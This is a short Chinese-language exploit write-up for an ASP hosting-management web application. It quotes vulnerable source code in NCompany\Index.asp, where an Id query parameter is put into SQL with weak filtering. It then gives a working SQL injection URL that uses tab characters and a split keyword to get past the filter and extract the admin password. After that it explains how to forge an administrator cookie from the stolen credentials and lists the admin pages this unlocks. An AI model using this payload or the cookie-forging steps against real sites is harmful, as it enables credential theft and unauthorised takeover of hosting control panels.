NCompany\Index.asp

 

loadfile_fromcache templatePath&"NCompany-Index.html"       '加载index.html模板

TempCon=TempCon&Application("Qz_TP_"&templatePath&"NCompany-Index.html")

Id=ReStrs(Request.QueryString("Id"))//过滤不严格

Set rs=Conn.Execute("Select * From [Qz_NComPany] Where [Id]="&Id)//直接带入sql语句

Address=rs("Address")

TelInfo=rs("TelInfo")

 

 

 

 

exp:ncompany/index.asp?id=1%09union%09%se%lect%091,2,3,4,5,adminpass,7,8,9,10,11%09from%09adminuser%09where%09id=1

 

 

 

构造cookie:

 

AdminUser = 注入得来的adminuser

 

PassWord = 注入得来的adminpass

 

AdminExu = system.asp, jihua.asp, news_admin.asp, mailtemplate.asp, ads.asp, success.asp, ServerQQ.asp, member.asp, message.asp, agent_fenlei.asp, grade.asp, sendmail.asp, proclass.asp, domain.asp, domainbuy.asp, domainupdate.asp, hostlist.asp, hostbuy.asp, vpath.asp, bindcheck.asp, cert.asp, sqllist.asp, sqlbuy.asp, my_sqllist.asp, my_sqlbuy.asp, maillist.asp, mailbuy.asp, apppool.asp, scriptmaps.asp, serverlist.asp, apppoolmode.asp, serverdomain.asp, shopitem.asp, shoplist.asp, shopbuy.asp, money.asp, moneylog.asp, pay.asp, payonline.asp, domain_api.asp, password.asp, template.asp, links.asp

 

过滤